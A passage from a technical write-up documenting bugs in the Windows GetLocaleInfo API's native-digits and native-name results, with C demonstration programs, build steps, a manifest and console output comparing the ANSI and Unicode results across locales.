    							PrintConsole(hConsole,
    							             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    #if 0
    						if (wmemcmp(szUnicode, L"0123456789", sizeof("0123456789")) != 0)
    #else
    						if (memcmp(szUnicode, L"0123456789", sizeof(L"0123456789")) != 0)
    #endif
    							PrintConsole(hConsole,
    							             L"0x%08lX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX\n",
    							             lcLocale, szUnicode[0], szUnicode[1], szUnicode[2], szUnicode[3], szUnicode[4], szUnicode[5], szUnicode[6], szUnicode[7], szUnicode[8], szUnicode[9]);
    
    					if (GetLocaleInfoA(lcLocale,
    					                   LOCALE_SNATIVEDIGITS,
    					                   szANSI,
    					                   sizeof(szANSI)) == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    						if (memcmp(szANSI, "0123456789", sizeof("0123456789")) != 0)
    							PrintConsole(hConsole,
    							             L"0x%08lX %hs\n",
    							             lcLocale, szANSI);
    				}
    		else
    			for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
    				for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
    				{
    					lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
    
    					if (GetLocaleInfoA(lcLocale, LOCALE_ILANGUAGE, (LPSTR) NULL, 0) == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
    							             dwError, L"LOCALE_ILANGUAGE", lcLocale);
    					}
    					else
    					{
    						iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVECOUNTRYNAME, (LPSTR) NULL, 0);
    
    						if (iInfo == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
    							             dwError = GetLastError(), L"LOCALE_SNATIVECOUNTRYNAME", lcLocale);
    						else if (iInfo > 80)
    							PrintConsole(hConsole,
    							             L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
    							             iInfo, L"LOCALE_SNATIVECOUNTRYNAME", lcLocale, 80);
    
    						iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVEDIGITS, (LPSTR) NULL, 0);
    
    						if (iInfo == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
    							             dwError = GetLastError(), L"LOCALE_SNATIVEDIGITS", lcLocale);
    						else if (iInfo > 11)
    							PrintConsole(hConsole,
    							             L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
    							             iInfo, L"LOCALE_SNATIVEDIGITS", lcLocale, 11);
    
    						iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVELANGUAGENAME, (LPSTR) NULL, 0);
    
    						if (iInfo == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
    							             dwError = GetLastError(), L"LOCALE_SNATIVELANGUAGENAME", lcLocale);
    						else if (iInfo > 80)
    							PrintConsole(hConsole,
    							             L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
    							             iInfo, L"LOCALE_SNATIVELANGUAGENAME", lcLocale, 80);
    					}
    				}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk35.exe from the source file quirk35.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk35.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk35.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk35.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk35.exe
    quirk35.obj
  3. Execute the console application quirk35.exe built in step 2. to demonstrate the (mis)behaviour:

    VER
    .\quirk35.exe
    Microsoft Windows [Version 6.1.7601]
    
    0x000009FF U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x0000048C U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00000463 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00000463 ??????????
    0x00000461 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
    0x00000461 ??????????
    0x00000457 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
    0x00000457 ??????????
    0x00000454 U+0ED0 U+0ED1 U+0ED2 U+0ED3 U+0ED4 U+0ED5 U+0ED6 U+0ED7 U+0ED8 U+0ED9
    0x00000454 ??????????
    0x00000453 U+17E0 U+17E1 U+17E2 U+17E3 U+17E4 U+17E5 U+17E6 U+17E7 U+17E8 U+17E9
    0x00000453 ??????????
    0x0000044F U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
    0x0000044F ??????????
    0x0000044E U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
    0x0000044E ??????????
    0x0000044D U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
    0x0000044D ??????????
    0x0000044C U+0D66 U+0D67 U+0D68 U+0D69 U+0D6A U+0D6B U+0D6C U+0D6D U+0D6E U+0D6F
    0x0000044C ??????????
    0x0000044B U+0CE6 U+0CE7 U+0CE8 U+0CE9 U+0CEA U+0CEB U+0CEC U+0CED U+0CEE U+0CEF
    0x0000044B ??????????
    0x0000044A U+0C66 U+0C67 U+0C68 U+0C69 U+0C6A U+0C6B U+0C6C U+0C6D U+0C6E U+0C6F
    0x0000044A ??????????
    0x00000449 U+0BE6 U+0BE7 U+0BE8 U+0BE9 U+0BEA U+0BEB U+0BEC U+0BED U+0BEE U+0BEF
    0x00000449 ??????????
    0x00000448 U+0B66 U+0B67 U+0B68 U+0B69 U+0B6A U+0B6B U+0B6C U+0B6D U+0B6E U+0B6F
    0x00000448 ??????????
    0x00000447 U+0AE6 U+0AE7 U+0AE8 U+0AE9 U+0AEA U+0AEB U+0AEC U+0AED U+0AEE U+0AEF
    0x00000447 ??????????
    0x00000446 U+0A66 U+0A67 U+0A68 U+0A69 U+0A6A U+0A6B U+0A6C U+0A6D U+0A6E U+0A6F
    0x00000446 ??????????
    0x00000845 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
    0x00000845 ??????????
    0x00000445 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
    0x00000445 ??????????
    0x00000429 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
    0x00000429 ??????????
    0x00000420 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
    0x00000420 ??????????
    0x0000041E U+0E50 U+0E51 U+0E52 U+0E53 U+0E54 U+0E55 U+0E56 U+0E57 U+0E58 U+0E59
    0x0000041E ðñòóôõö÷øù
    0x00004001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00003C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00003801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00003401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00003001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00002C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00002801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00002401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00002001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00000C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00000801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    0x00000401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
    OUCH: instead of digits the GetLocaleInfoA() function yields the characters '\xF0' to '\xF9' for LOCALE_SNATIVEDIGITS with the Locale Identifier 0x0000041E alias MAKELCID(MAKELANGID(LANG_THAI, SUBLANG_THAI_THAILAND), SORT_DEFAULT)!

    Ouch: while the GetLocaleInfoW() function yields the Arabic numerals ٠١٢٣٤٥٦٧٨٩ alias U+0660, U+0661, U+0662, U+0663, U+0664, U+0665, U+0666, U+0667, U+0668 and U+0669 for LOCALE_SNATIVEDIGITS with most Arabic Locale Identifiers 0x000???01 alias MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_*), SORT_*) as well as 0x00000463 alias MAKELCID(MAKELANGID(LANG_PASHTO, SUBLANG_PASHTO_AFGHANISTAN), SORT_*), 0x0000048C alias MAKELCID(MAKELANGID(LANG_DARI, SUBLANG_DARI_AFGHANISTAN), SORT_*) and the Pseudo-Locale 0x000009FF, the GetLocaleInfoA() function but yields the ANSI ASCII digits 0123456789!

    Oops: neither the simplified Chinese numerals 〇一二三四五六七八九 nor the traditional Chinese numerals 零一二三四五六七八九 are returned for LOCALE_SNATIVEDIGITS with the Chinese Locale Identifiers 0x000???04 alias MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_*), SORT_*).

    Note: the Extended Arabic-Indic numerals ۰۱۲۳۴۵۶۷۸۹, the Bengali numerals ০১২৩৪৫৬৭৮৯, the Devanagari numerals ०१२३४५६७८९, the Guarati numerals ૦૧૨૩૪૫૬૭૮૯, the Gurmukhi numerals ੦੧੨੩੪੫੬੭੮੯, the Kannada numerals ೦೧೨೩೪೫೬೭೮೯, the Khmer numerals ០១២៣៤៥៦៧៨៩, the Lao numerals ໐໑໒໓໔໕໖໗໘໙, the Malayalam numerals ൦൧൨൩൪൫൬൭൮൯, the Oriya numerals ୦୧୨୩୪୫୬୭୮୯, the Tamil numerals ௦௧௨௩௪௫௬௭௮௯, the Telugu numerals ౦౧౨౩౪౫౬౭౮౯ and the Thai numerals ๐๑๒๓๔๕๖๗๘๙ are supported, but neither the Tibetan numerals ༠༡༢༣༤༥༦༧༨༩ nor the Mongolian numerals ᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙.

    Note: the output of substitution characters ? is expected normal behaviour!

  4. Create the text file quirk35.xml with the following content next to the console application quirk35.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk35' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk35 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk35.xml created in step 4. in the console application quirk35.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk35.xml /OUTPUTRESOURCE:quirk35.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk35.exe modified in step 5. to demonstrate the (mis)behaviour:

    VER
    .\quirk35.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000463 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000861 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000461 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000860 exceeds 11!
    Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000460 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000457 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000455 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000454 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000453 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000C51 exceeds 11!
    Character count 103 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000451 exceeds 80!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000451 exceeds 11!
    Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00007C50 exceeds 80!
    Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000850 exceeds 80!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044F exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044E exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044D exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044C exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044B exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044A exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000849 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000449 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000448 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000447 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000446 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000845 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000445 exceeds 11!
    Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000439 exceeds 11!
    OUCH: the character count returned from the GetLocaleInfoA() function exceeds the maximum character counts specified in the documentation for the LOCALE_SNATIVE* constants for multiple Locales!

    OOPS: contrary to the explicit statement that LOCALE_SNATIVEDIGITS yields the Arabic numerals ٠١٢٣٤٥٦٧٨٩ alias U+0660, U+0661, U+0662, U+0663, U+0664, U+0665, U+0666, U+0667, U+0668 and U+0669 with Arabic Locale Identifiers 0x000???01, for example 0x00000401 alias MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_SAUDI_ARABIA), SORT_DEFAULT), the GetLocaleInfoA() function does not return their character count 21 – it but yields the ANSI ASCII digits 0123456789 instead!

Note: the evaluation of the (mis)behaviour for other values of the LCType parameter which yield native text, in particular LOCALE_S1159, LOCALE_S2359, LOCALE_SABBREVDAYNAME*, LOCALE_SABBREVMONTHNAME*, LOCALE_SCURRENCY, LOCALE_SDAYNAME*, LOCALE_SLONGDATE and LOCALE_SMONTHNAME*, is left as an exercise to the reader.

Note: the evaluation of the (mis)behaviour when the system’s (global) ANSI and OEM code pages are set to 65001 alias CP_UTF8 is also left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 36

Properly implemented, the (textual) output from the A form of the GetLocaleInfo() function shwould match that from its W form, i.e. after conversion from ANSI to Unicode (or vice versa) using the (legacy) Code Page of the respective Locale, the text strings should compare as equal.
In particular, the UTF-8 encoded output from the A form shwould be equal to the UTF-16LE encoded output from the W form!

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour and the bug:
  1. Create the text file quirk36.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define ERROR_INVALID_LOCALE	ERROR_INVALID_PARAMETER
    
    #define LANG_MAX	0x01FF
    #define SUBLANG_MAX	0x3F
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	index;
    	int	delta;
    
    	for (index = 0; index < count; index++)
    		if (delta = left[index] - right[index])
    			return delta;
    	return 0;
    }
    #endif
    
    int	wmemcmp(wchar_t const *left, wchar_t const *right, size_t count)
    {
    	size_t	index;
    	int	delta;
    
    	for (index = 0; index < count; index++)
    		if (delta = left[index] - right[index])
    			return delta;
    	return 0;
    }
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwPrimary;
    	DWORD	dwSubLang;
    	LCID	lcLocale;
    	UINT	uiCodePage;
    	CHAR	szANSI[321];
    	UINT	uiANSI;
    	WCHAR	szWide[123];
    	UINT	uiWide;
    	CHAR	szMulti[321];
    	UINT	uiMulti;
    	WCHAR	szUnicode[123];
    	UINT	uiUnicode;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if ((GetACP() != CP_UTF8)
    		 || (GetOEMCP() != CP_UTF8))
    			for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
    				for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
    				{
    					lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
    
    					if (GetLocaleInfoA(lcLocale,
    					                   LOCALE_IDEFAULTANSICODEPAGE | LOCALE_RETURN_NUMBER,
    					                   (LPSTR) &uiCodePage,
    					                   sizeof(uiCodePage)) != sizeof(uiCodePage))
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_IDEFAULTANSICODEPAGE of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    					{
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVEDIGITS,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiWide = GetLocaleInfoW(lcLocale,
    							                        LOCALE_SNATIVEDIGITS,
    							                        szWide,
    							                        sizeof(szWide) / sizeof(*szWide));
    
    							if (uiWide == 0)
    								PrintConsole(hConsole,
    								             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    							else
    							{
    								uiMulti = WideCharToMultiByte(uiCodePage,
    								                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    								                              szWide,
    								                              uiWide,
    								                              szMulti,
    								                              sizeof(szMulti),
    								                              (LPCCH) NULL,
    								                              (LPBOOL) NULL);
    
    								if (uiMulti == 0)
    									PrintConsole(hConsole,
    									             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    
    								uiUnicode = MultiByteToWideChar(uiCodePage,
    								                                MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
    								                                szANSI,
    								                                uiANSI,
    								                                szUnicode,
    								                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    								if (uiUnicode == 0)
    									PrintConsole(hConsole,
    									             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    								else
    									if ((uiMulti != 0)
    									 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    									 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    										PrintConsole(hConsole,
    										             L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
    										             L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
    										             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    										             L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
    										             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    							}
    						}
    
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVECTRYNAME,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiWide = GetLocaleInfoW(lcLocale,
    							                        LOCALE_SNATIVECTRYNAME,
    							                        szWide,
    							                        sizeof(szWide) / sizeof(*szWide));
    
    							if (uiWide == 0)
    								PrintConsole(hConsole,
    								             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    							else
    							{
    								uiMulti = WideCharToMultiByte(uiCodePage,
    								                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    								                              szWide,
    								                              uiWide,
    								                              szMulti,
    								                              sizeof(szMulti),
    								                              (LPCCH) NULL,
    								                              (LPBOOL) NULL);
    
    								if (uiMulti == 0)
    									PrintConsole(hConsole,
    									             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    
    								uiUnicode = MultiByteToWideChar(uiCodePage,
    								                                MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
    								                                szANSI,
    								                                uiANSI,
    								                                szUnicode,
    								                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    								if (uiUnicode == 0)
    									PrintConsole(hConsole,
    									             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    								else
    									if ((uiMulti != 0)
    									 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    									 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    										PrintConsole(hConsole,
    										             L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
    										             L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
    										             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    										             L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
    										             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    							}
    						}
    
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVELANGNAME,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiWide = GetLocaleInfoW(lcLocale,
    							                        LOCALE_SNATIVELANGNAME,
    							                        szWide,
    							                        sizeof(szWide) / sizeof(*szWide));
    
    							if (uiWide == 0)
    								PrintConsole(hConsole,
    								             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    							else
    							{
    								uiMulti = WideCharToMultiByte(uiCodePage,
    								                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    								                              szWide,
    								                              uiWide,
    								                              szMulti,
    								                              sizeof(szMulti),
    								                              (LPCCH) NULL,
    								                              (LPBOOL) NULL);
    
    								if (uiMulti == 0)
    									PrintConsole(hConsole,
    									             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    
    								uiUnicode = MultiByteToWideChar(uiCodePage,
    								                                MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
    								                                szANSI,
    								                                uiANSI,
    								                                szUnicode,
    								                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    								if (uiUnicode == 0)
    									PrintConsole(hConsole,
    									             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    									             dwError = GetLastError(), lcLocale);
    								else
    									if ((uiMulti != 0)
    									 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    									 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    										PrintConsole(hConsole,
    										             L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
    										             L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
    										             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    										             L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
    										             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    							}
    						}
    					}
    				}
    		else
    			for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
    				for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
    				{
    					lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
    
    					uiWide = GetLocaleInfoW(lcLocale,
    					                        LOCALE_SNATIVEDIGITS,
    					                        szWide,
    					                        sizeof(szWide) / sizeof(*szWide));
    
    					if (uiWide == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    					{
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVEDIGITS,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiMulti = WideCharToMultiByte(CP_UTF8,
    							                              WC_ERR_INVALID_CHARS,
    							                              szWide,
    							                              uiWide,
    							                              szMulti,
    							                              sizeof(szMulti),
    							                              (LPCCH) NULL,
    							                              (LPBOOL) NULL);
    
    							if (uiMulti == 0)
    								PrintConsole(hConsole,
    								             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    
    							uiUnicode = MultiByteToWideChar(CP_UTF8,
    							                                MB_ERR_INVALID_CHARS,
    							                                szANSI,
    							                                uiANSI,
    							                                szUnicode,
    							                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    							if (uiUnicode == 0)
    								PrintConsole(hConsole,
    								             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
